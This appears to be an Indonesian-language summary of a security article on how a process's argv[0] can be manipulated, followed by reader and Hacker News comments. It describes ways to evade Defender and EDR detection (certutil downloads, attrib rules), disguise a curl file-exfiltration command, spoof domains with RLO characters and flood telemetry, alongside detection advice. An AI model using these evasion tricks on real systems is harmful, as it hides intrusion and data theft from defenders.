9 poin oleh GN⁺ 2024-09-04 | 2 komentar | Bagikan ke WhatsApp
  • Baris perintah (command line) itu aneh
  • Windows sangat terkenal karena masalah seperti ini, tetapi cara sebagian besar sistem operasi mengimplementasikan baris perintah juga dapat menimbulkan masalah keamanan
  • Artikel ini menjelaskan problem dari konvensi yang mencadangkan argumen pertama baris perintah proses, argv[0], untuk merepresentasikan nama proses

argv[0] adalah peninggalan masa lalu

  • Saat program dimulai, ia menerima argumen baris perintah dan membuatnya dapat diakses dari dalam program; ini memang salah satu informasi pertama yang diberikan saat program dijalankan
    • Ini adalah mekanisme utama untuk mengubah alur eksekusi program
  • Jika melihat keluarga system call exec yang diadopsi di POSIX dan DOS/Win32
    • int execv(const char *path, char *const argv[]);
    • Untuk memanggil fungsi execv ini, program harus memberikan path lengkap aplikasi yang akan dijalankan sebagai path, dan vektor berisi argumen sebagai argv, lalu mengembalikan integer yang berisi kode status
    • Menurut spesifikasi ini, jika program berhasil dijalankan sebagai hasil dari pemanggilan tersebut, program target akan dipanggil melalui int main (int argc, char *argv[]);
  • Dalam semua standar C, argc tidak negatif, argv[argc] adalah null pointer, dan jika argc lebih besar dari 0 maka argv[0] merepresentasikan nama program yang dipanggil
  • Sebagian orang mungkin mempertanyakan perlunya argv[0]
    • "Proses baru jelas tahu namanya sendiri, jadi mengapa harus dikirim sebagai argumen proses pertama dari proses yang memanggilnya?"
    • Di lingkungan POSIX, program dapat dipanggil melalui symbolic link, sehingga ini menjadi cara agar proses baru tahu permintaan seperti apa yang diterimanya
    • Misalnya, shutdown dan reboot di Debian ditautkan ke executable systemctl yang sama, dan berperilaku berbeda tergantung perintah yang dipanggil
  • Ini tampak seperti keputusan desain yang meragukan
    • "Haruskah program berperilaku berbeda berdasarkan namanya sendiri?"
    • Dari sudut pandang modern, ini menurunkan prediktabilitas software dan tampak bertentangan dengan prinsip desain modern
    • Dari sudut pandang era 1970-1980-an, ini bisa dianggap upaya meminimalkan duplikasi karena sumber daya komputer saat itu terbatas
    • Namun sekarang, masalah ruang disk tidak terlalu menonjol. Misalnya, di macOS Sonoma, shutdown dan reboot ada sebagai executable terpisah
    • Ada perdebatan apakah benar perlu menggabungkan dua program yang mirip ke dalam satu file, atau apakah pendekatan argumen perintah lebih tepat
  • Bahkan jika prinsip ini diterima, implementasinya sendiri juga masih diperdebatkan
    • Dipertanyakan apakah informasi argv[0] harus diberikan sebagai bagian dari argumen proses
    • Program yang bergantung pada argv[0] bisa gagal jika proses pemanggil tidak mengaturnya dengan benar
    • Ada juga program yang menggunakan argv[0] dengan cara yang keliru dalam konteks keamanan
    • Pendekatan yang lebih baik adalah memisahkan argv[0] ke task_struct atau fitur PEB terpisah agar sistem operasi yang mengelola nilai ini
      • Ini memungkinkan pelacakan yang konsisten dan mengurangi ruang untuk manipulasi
  • OS yang paling mendekati pendekatan ini justru Windows
    • Tidak seperti sistem operasi arus utama lainnya, Windows tidak mengatur argv[0] saat membuat proses baru
    • Panggilan API Windows (CreateProcess, ShellExecute) mengatur argv[0] secara otomatis berdasarkan path executable
    • Walaupun ini tampak sebagai implementasi yang paling masuk akal, Windows juga mengadopsi pemanggilan exec ala POSIX sehingga tetap ada cara untuk mengatur argv[0] secara manual

argv[0] diabaikan (dalam kebanyakan kasus)

  • Terlepas dari bagaimana Anda memandang pentingnya argv[0], dalam praktiknya argv[0] memang ada dan membawa masalah
  • Dalam pemanggilan exec, dua kondisi pertama yang disebut sebelumnya ditangani oleh sistem operasi, tetapi kondisi terakhir yang terkait argv[0] tidak dikelola
  • Karena pemanggil exec mengendalikan penuh argv, persyaratan ini bisa diabaikan, dan baik sistem operasi maupun program pemanggil/yang dipanggil tidak memeriksa pelanggaran ini
  • Contoh pengabaian argv[0]
    • Untuk mencetak Hello, world! dengan echo, biasanya dipanggil execv("/usr/bin/echo", ["echo", "Hello, world!"])
    • Tetapi meskipun memanggil execv("/usr/bin/echo", ["oopsie", "Hello, world!"]), program echo tetap berjalan normal dan mencetak Hello, world!
    • Program echo bekerja dengan mengabaikan argv[0] dan hanya fokus pada argumen mulai dari argv[1]
    • Sebagian besar program mengambil pendekatan serupa dan mengabaikan argv[0]
  • Contoh manipulasi argv[0]
    • Banyak bahasa pemrograman dan scripting, termasuk C, menyediakan cara untuk memanipulasi argv[0]:
    python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])"  
    perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"'  
    ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')"  
    bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'  
    
  • Memanipulasi argv[0] itu mudah dan pada umumnya tidak memengaruhi eksekusi sebagian besar program. Namun, dari sisi keamanan ini bisa menjadi masalah

argv[0] dapat meruntuhkan mekanisme pertahanan

  • argv[0] dapat digunakan untuk menipu software keamanan. Jika pengguna jahat berhasil mengompromikan sistem, mereka akan mengeksekusi perintah penyerang untuk memanipulasi sistem
  • Software pertahanan seperti AV dan EDR memantau eksekusi proses, lalu mendeteksi atau memblokirnya bila perintah tertentu dianggap berbahaya. Sebagian besar solusi secara aktif mendeteksi perintah yang sering digunakan penyerang
  • Contoh: penyalahgunaan perintah certutil
    • certutil, alat command line bawaan Windows, sering dipakai dalam serangan. Setelah mendapatkan akses awal, alat ini dimanfaatkan untuk mengunduh payload eksternal.
    • Microsoft Defender Antivirus memblokir eksekusi certutil jika ada argumen command line yang menunjukkan upaya mengunduh file. Namun, jika certutil dijalankan dengan argv[0] diatur menjadi spasi, Defender tidak memblokirnya
    • Ini menunjukkan masalah ketika deteksi keamanan menganggap nama program sebagai bagian dari command line. Misalnya, jika logika deteksi disusun seperti command_line.contains('certutil') AND command_line.contains('-urlcache'), ada asumsi bahwa certutil adalah bagian dari command line. Namun, logika ini bisa dilewati dengan memanipulasi argv[0]
    • Logika deteksi yang lebih efektif adalah menyusunnya seperti process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')
  • Bypass deteksi melalui argv[0]
    • Bypass deteksi juga bisa dilakukan dengan menambahkan keyword tuning ke argv[0]. Deteksi umumnya menggabungkan kondisi dasar dengan kondisi tambahan untuk memfilter false positive
    • Misalnya, aturan deteksi dapat terpicu saat attrib.exe melakukan aksi menyembunyikan file. Namun, dalam praktiknya ia juga sering dijalankan secara sah untuk file desktop.ini
    • Mengetahui hal ini, penyerang dapat menyertakan desktop.ini di argv[0] untuk melewati deteksi. Misalnya, dapat diatur seperti argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']

argv[0] bisa dipakai untuk menipu

  • argv[0] dapat disalahgunakan bukan hanya untuk menipu software keamanan, tetapi juga manusia
  • Analis keamanan meninjau alert yang dihasilkan alat keamanan seperti software EDR, dan alert ini mencakup command line proses terkait
  • Command line proses adalah informasi penting yang digunakan analis untuk memutuskan apakah alert perlu diselidiki lebih lanjut atau diabaikan
  • Contoh: penipuan command line
    • Alert untuk kemungkinan eksfiltrasi data bisa muncul saat perintah curl -T secret.txt 123.45.67.89 dijalankan. Perintah ini mengunggah file secret.txt ke alamat IP 123.45.67.89
    • Dalam skenario yang sama, jika argv[0] diubah dari curl menjadi curl localhost | grep, itu tetap merupakan perintah yang valid.
    • Karena software keamanan menampilkan array command line sebagai string yang dipisahkan spasi, perintah tersebut kemungkinan besar akan terlihat sebagai curl localhost | grep -T secret.txt 123.45.67.89
    • Dari sudut pandang analis, ini bisa tampak seolah curl localhost dijalankan lalu hasilnya diteruskan ke grep -T secret.txt 123.45.67.89. Padahal sebenarnya itu adalah aksi mengunggah informasi ke alamat jarak jauh, tetapi dibuat tampak seperti mengunduh dari alamat lokal
  • Memanfaatkan karakter Right-To-Left Override (RLO)
    • Karakter RLO (pengaturan ulang kanan-ke-kiri) yang terkenal itu juga dapat digunakan untuk memanipulasi argv[0]
    • Karakter Unicode ini menginstruksikan aplikasi perender untuk menampilkan karakter setelahnya dalam urutan terbalik
    • Dengan menyisipkan RLO ke argv[0], ping moc.elgoog.some-evil-website.com bisa dibuat tampak seperti ping moc.etisbew-live-emos.google.com
    • Cara ini tidak memengaruhi logika deteksi, tetapi berpotensi menipu analis
  • Teknik-teknik seperti ini menunjukkan berbagai cara argv[0] dapat dimanipulasi untuk menyembunyikan aktivitas berbahaya dengan menipu software keamanan dan mata manusia

argv[0] dapat merusak telemetri

  • Karena argv[0] berada di bagian paling awal command line, jika argv[0] diisi dengan cukup banyak karakter maka semua argumen lain bisa terdorong ke bagian akhir command line
  • Ini bermasalah karena dua alasan: pertama, bagian yang menarik bisa ‘disembunyikan’ di akhir command line agar analis tidak menggulir sampai sana; yang lebih penting, total panjang command line bisa dibuat cukup besar sehingga software pemantauan memotong argumen yang sebenarnya penting
  • Batas panjang command line
    • Sejak Windows 7, panjang maksimum command line di Windows dibatasi hingga 14.336 karakter (sekitar 14 KiB)
    • Di kernel Linux, panjang maksimum di-hardcode menjadi 32 ukuran halaman, yakni sekitar 131.072 karakter (128 KiB) pada arsitektur 64-bit
    • macOS Sonoma mengizinkan command line hingga maksimum 1.048.576 karakter (1 MiB)
    • Ini berarti ada ruang arbitrer yang sangat besar yang bisa ditempati argv[0]
  • Contoh kerusakan telemetri
    • Software pemantauan proses (misalnya EDR) bisa saja merekam seluruh eksekusi command line yang panjang, atau memotongnya pada panjang tetap untuk mengurangi overhead
    • Jika command line panjang direkam seluruhnya, cukup dengan menjalankan 1.000 proses menggunakan panjang command line maksimum saja sudah bisa menghasilkan 1GiB data log
    • Jika pemotongan diterapkan, argumen command line bisa terpotong dari telemetri. Misalnya, perintah perl -e 'exec {"echo"} "_"x50000, "Hello, world!"' akan mencetak “Hello, world!”, tetapi telemetri eksekusinya mungkin hanya merekam underscore, atau dalam beberapa kasus malah command line kosong sepenuhnya
    • Akibatnya, argumen command line yang sebenarnya penting menjadi tidak terlihat, sehingga logika deteksi dan analis tidak dapat memahami apa yang benar-benar terjadi

Risiko argv[0]: pencegahan dan deteksi

  • argv[0] menyelesaikan satu masalah dengan menimbulkan banyak masalah lain
  • Karena kecil kemungkinan argv[0] akan segera hilang, dari sudut pandang keamanan perlu fokus pada cara menanganinya
  • Langkah pencegahan
    • Pengembang software dapat membandingkan apakah argv[0] cocok dengan nama file miliknya untuk memeriksa adanya manipulasi, tetapi ini tidak terlalu skalabel
    • Sistem operasi dapat melakukan pemeriksaan ini dengan lebih andal. Mengandalkan argv[0] untuk mengubah alur program sangat tidak direkomendasikan
    • Sebaiknya pengembang sebisa mungkin tidak berinteraksi dengan argv[0]
  • Metode deteksi untuk profesional keamanan
    • Menyadari cara kerja dan masalah argv[0] adalah langkah penting untuk mencegah penipuan command line
    • Jika software keamanan menyediakan argumen command line sebagai array, pola tertentu bisa diidentifikasi dengan andal
    • Nilai argv[0] yang terlalu panjang, atau yang memuat karakter mencurigakan seperti pipe, harus segera ditandai sebagai mencurigakan
    • Bahkan jika argumen command line diberikan sebagai string, command line yang tidak memuat nama program dapat tetap ditandai. Ini mengindikasikan bahwa argv[0] telah dimanipulasi
    • Keberadaan karakter RLO sendiri merupakan metode deteksi yang sangat efektif di sebagian besar lingkungan
    • Untuk argumen command line yang terpotong, penting untuk memahami bagaimana solusi keamanan dan data lake menanganinya, serta dampaknya terhadap telemetri yang dihasilkan
  • Peningkatan pada software pertahanan
    • Software pertahanan perlu meningkatkan deteksi atas penyalahgunaan argv[0]. Menjalankan software dengan nilai argv[0] yang mencurigakan seharusnya bisa diblokir tanpa menimbulkan false positive
    • Platform EDR juga perlu mempertimbangkan untuk tidak menyertakan argv[0] saat melaporkan argumen command line. Ini menghilangkan sebagian besar masalah yang disorot dalam artikel ini, dan dalam banyak kasus nilai forensiknya juga rendah
  • Pada akhirnya, tidak ada yang ingin pusing gara-gara argv[0]. Software kita juga demikian

Ringkasan GN⁺

  • argv[0] adalah peninggalan masa lalu yang bertentangan dengan prinsip desain software modern
  • Sebagian besar program mengabaikan argv[0], tetapi ini tetap dapat menimbulkan masalah keamanan
  • argv[0] dapat menipu software keamanan dan manusia, serta merusak telemetri
  • Profesional keamanan perlu mendeteksi penyalahgunaan argv[0], dan software pertahanan harus menanganinya dengan lebih baik

2 komentar

 
scari 2024-09-05

Mungkin karena saya sudah orang lama.. saya kurang begitu sependapat dengan argumen penulis. Masalahnya ada pada exec, tetapi rasanya imbasnya malah dilempar ke argv[0].

 
GN⁺ 2024-09-04
Opini Hacker News
  • Keberatan terhadap pembacaan argv[0] menunjukkan ketidaktahuan penulis atau perlunya pertahanan yang kuat

    • Menimbulkan pertanyaan bagaimana busybox seharusnya bekerja pada perangkat OpenWrt dengan root filesystem 16MB
    • Pembahasan untuk membatasi penggunaan nilai argv[0] layak dipertimbangkan
    • Penyerang tetap bisa melewati langkah-langkah keamanan
  • argv[0] digunakan sebagai target symbolic link untuk ratusan perintah

    • Android menggunakannya untuk sebagian besar perintah shell umum
    • Toybox dan busybox adalah contohnya
  • Melalui alat yang menggunakan argv[0], perintah host dapat dijalankan dari dalam container

    • Contoh: perintah flatpak dapat diatur untuk dijalankan di host
  • Tidak masalah jika program berperilaku berbeda tergantung namanya

    • Menyertakan nama program sebagai argumen pemanggilan sangat berguna
  • Keberatan terhadap argv[0] diklaim bertentangan dengan prinsip desain modern

    • Jika ada symlink, masuk akal bagi program untuk mengetahui bagaimana ia dipanggil
    • python menggunakan argv[0] untuk memeriksa apakah ia berada di dalam virtualenv dan menyesuaikan jalur pencarian
  • argv[0] tidak secara khusus buruk dari sudut pandang keamanan

    • Lebih baik memperbaiki perangkat lunak keamanan agar mengutip nilai argv
  • argv[0] tidak bermasalah

    • Kebanyakan orang menggunakan argv[0] untuk membedakan versi perintah
  • busybox menggunakan argv[0] dalam mode 'shim'

    • Untuk masalah keamanan, lebih penting menggunakan mekanisme keamanan yang lebih dalam seperti SELinux
  • macOS mengatur beberapa perintah agar menunjuk ke satu executable

    • Menggunakan argv[0] meningkatkan kegunaan CLI dan mengurangi duplikasi kode
  • Menghapus argv[0] akan membuat fitur yang berguna hilang

    • Keamanan jaringan harus ditangani di jaringan
    • Bahkan jika argv[0] dihapus, penyerang akan menemukan cara lain